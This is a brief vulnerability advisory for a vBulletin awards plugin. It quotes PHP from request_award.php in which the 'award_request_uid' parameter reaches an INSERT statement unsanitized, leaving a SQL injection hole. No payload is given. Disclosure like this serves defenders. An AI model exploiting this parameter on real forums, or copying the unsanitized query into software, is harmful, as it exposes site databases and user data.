# Version: 4.0.2+



The vulnerability exists within /request_award.php.

$vbulletin->input->clean_array_gpc('p', array(
'award_id' => TYPE_UINT,
//'award_request_name' => TYPE_STR,
//'award_request_recipient_name' => TYPE_STR,
'award_request_reason' => TYPE_STR,
'award_request_uid' => TYPE_UNIT,
));

> $award_request_uid = $vbulletin->GPC['award_request_uid'];
> > $db->query_write("INSERT INTO " . TABLE_PREFIX . "award_requests (award_req_uid, award_rec_uid, award_req_aid, award_req_reason) VALUES ('$award_request_uid', '$award_request_uid', '$award[award_id]', '". $db->escape_string($vbulletin->GPC['award_request_reason']) ."')");

$award_request_uid is used within an insert into statement, unsanitized.
